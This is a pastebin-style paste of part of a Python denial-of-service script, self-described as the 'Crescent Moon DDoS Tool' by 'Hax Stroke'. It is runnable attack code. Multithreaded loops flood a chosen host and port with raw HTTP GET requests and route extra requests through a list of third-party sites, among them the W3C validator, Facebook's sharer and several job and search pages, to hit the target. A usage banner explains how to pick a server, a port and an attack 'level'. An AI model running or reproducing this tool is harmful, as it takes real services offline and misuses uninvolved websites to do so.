  225.  
  226.  
  227. def HAXSTROKE_bots():
  228. global bots
  229. bots=[]
  230. bots.append("http://validator.w3.org/check?uri=")
  231. bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  232. bots.append('http://www.ustream.tv/search?q=')
  233. bots.append('http://www.ted.com/search?q=')
  234. bots.append('http://funnymama.com/search?q=')
  235. bots.append('http://itch.io/search?q=')
  236. bots.append('http://jobs.rbs.com/jobs/search?q=')
  237. bots.append('http://taginfo.openstreetmap.org/search?q=')
  238. bots.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  239. bots.append('https://play.google.com/store/search?q=')
  240. bots.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  241. bots.append('http://www.reddit.com/search?q=')
  242. bots.append('http://www.bestbuytheater.com/events/search?q=')
  243. bots.append('https://careers.carolinashealthcare.org/search?q=')
  244. bots.append('http://jobs.leidos.com/search?q=')
  245. bots.append('http://jobs.bloomberg.com/search?q=')
  246. bots.append('https://www.pinterest.com/search/?q=')
  247. bots.append('http://millercenter.org/search?q=')
  248. bots.append('https://www.npmjs.com/search?q=')
  249. bots.append('http://www.evidence.nhs.uk/search?q=')
  250. bots.append('http://www.shodanhq.com/search?q=')
  251. bots.append('http://ytmnd.com/search?q=')
  252. bots.append('http://www.usatoday.com/search/results?q=')
  253. bots.append('http://engadget.search.aol.com/search?q=')
  254. bots.append('https://steamcommunity.com/market/search?q=')
  255. bots.append('http://filehippo.com/search?q=')
  256. bots.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  257. bots.append('http://eu.battle.net/wow/en/search?q=')
  258. bots.append('http://engadget.search.aol.com/search?q=')
  259. bots.append('http://careers.gatesfoundation.org/search?q=')
  260. bots.append('http://techtv.mit.edu/search?q=')
  261. bots.append('http://www.ustream.tv/search?q=')
  262. bots.append('http://www.ted.com/search?q=')
  263. bots.append('http://funnymama.com/search?q=')
  264. bots.append('http://itch.io/search?q=')
  265. bots.append('http://jobs.rbs.com/jobs/search?q=')
  266. bots.append('http://taginfo.openstreetmap.org/search?q=')
  267. bots.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  268. bots.append('https://play.google.com/store/search?q=')
  269. bots.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  270. bots.append('http://www.reddit.com/search?q=')
  271. bots.append('http://www.bestbuytheater.com/events/search?q=')
  272. bots.append('https://careers.carolinashealthcare.org/search?q=')
  273. bots.append('http://jobs.leidos.com/search?q=')
  274. bots.append('http://jobs.bloomberg.com/search?q=')
  275. bots.append('https://www.pinterest.com/search/?q=')
  276. bots.append('http://millercenter.org/search?q=')
  277. bots.append('https://www.npmjs.com/search?q=')
  278. bots.append('http://www.evidence.nhs.uk/search?q=')
  279. bots.append('http://www.shodanhq.com/search?q=')
  280. bots.append('http://ytmnd.com/search?q=')
  281. bots.append('http://www.google.com/?q=')
  282. return(bots)
  283.  
  284.  
  285. def bots_reloading(url):
  286. try:
  287. while True:
  288. req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  289. print(GR+"► Reloading some requests for keep attacking ◄")
  290. time.sleep(.1)
  291. except:
  292. time.sleep(.1)
  293.  
  294.  
  295. def down_it(item):
  296. try:
  297. while True:
  298. packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  299. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  300. s.connect((host,int(port)))
  301. if s.sendto( packet, (host, int(port)) ):
  302. s.shutdown(1)
  303. print (P+"► Sending HTTP Requests please be patient ◄")
  304. else:
  305. s.shutdown(1)
  306. print("\033[91mshut<->down\033[0m")
  307. time.sleep(.1)
  308. except socket.error as e:
  309. print("\033[91mno connection! server maybe down\033[0m")
  310. #print("\033[91m",e,"\033[0m")
  311. time.sleep(.1)
  312.  
  313.  
  314. def dos():
  315. while True:
  316. item = q.get()
  317. down_it(item)
  318. q.task_done()
  319.  
  320.  
  321. def dos2():
  322. while True:
  323. item=w.get()
  324. bots_reloading(random.choice(bots)+"http://"+host)
  325. w.task_done()
  326.  
  327.  
  328. def slowprint(s):
  329. for c in s + '/sl':
  330. sys.stdout.write(c)
  331. sys.stdout.flush() # defeat buffering
  332. time.sleep(8./90)
  333.  
  334.  
  335. def usage():
  336. print (W+''' .-""""-
  337. F .-'
  338. F J
  339. I I rescent
  340. L `. Moon
  341. L `-._,
  342. `-.__.-' '''+P+''' ##
  343. ###
  344. # ####
  345. _____ ## .---#####-...__
  346. .--' `-### .--..-' ###### ""`---....
  347. _____.----. ###`.._____ .' #######
  348. a:f ### / -. ####### _.---
  349. ### .( #######
  350. # : `--... ######
  351. # `. ``. ######
  352. : :. #####
  353. .' ) ###
  354. .' / ##
  355. _.' | .##
  356. ,:' | '
  357. '''+W+''' Crescent Moon DDoS Tool created By Hax Stroke'''+W+'''
  358. ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬'''+P+'''
  359. python3 CrescentMoon.py |-s or --server |-p or --port |-l or --level
  360. --server or -s: server for attack ip
  361. --port or -p: port default 80
  362. --level or -l: power of attack default 60
  363. '''+W+'''▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬''')
  364. sys.exit()
  365.  
  366.  
  367.  
  368. def get_parameters():
  369. global host
  370. global port
  371. global thr
  372. global item
  373. optp = OptionParser(add_help_option=False,epilog="Suicide")
  374. optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  375. optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
  376. optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  377. optp.add_option("-l","--level",type="int",dest="level",help="default 135 -t 135")
  378.  
  379. opts, args = optp.parse_args()
  380. logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  381.  
  382. if opts.host is not None:
  383. host = opts.host
  384. else:
  385. usage()
  386. if opts.port is None:
  387. port = 80
  388. else:
  389. port = opts.port
  390. if opts.level is None:
  391. thr = 60
  392. else:
  393. thr = opts.level
  394.  
  395.  
  396. # reading headers
  397. global data
  398. headers = open("httpconection.txt", "r")
  399. data = headers.read()
  400. headers.close()
  401. #task queue are q,w
  402. q = Queue()
  403. w = Queue()
  404.  
  405.  
  406. if __name__ == '__main__':
  407. if len(sys.argv) < 2:
  408. usage()
  409. get_parameters()
  410. print("\033[94m▷ ",host," connecting on port: ",str(port)," level of attack: ",str(thr)," ◁\033[0m")
  411. print("\033[94m▷ Loading threads for start attack... ◁")
  412. user_agent()
  413. HAXSTROKE_bots()
  414. time.sleep(5)
  415. try:
  416. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  417. s.connect((host,int(port)))
  418. s.settimeout(1)
  419. except socket.error as e:
  420. print("\033[91mcheck server ip and port\033[0m")
  421. usage()
  422. while True:
  423. for i in range(int(thr)):
  424. t = threading.Thread(target=dos)
  425. t.daemon = True # if thread is exist, it dies
  426. t.start()
  427. t2 = threading.Thread(target=dos2)
  428. t2.daemon = True # if thread is exist, it dies
  429. t2.start()
  430. start = time.time()
  431. #tasking
  432. item = 0
  433. while True:
  434. if (item>1800): # for no memory crash
  435. item=0
  436. time.sleep(.1)
  437. item = item + 1
  438. q.put(item)
  439. w.put(item)
  440. q.join()
  441. w.join()
Advertisement
Add Comment
Please, Sign In to add comment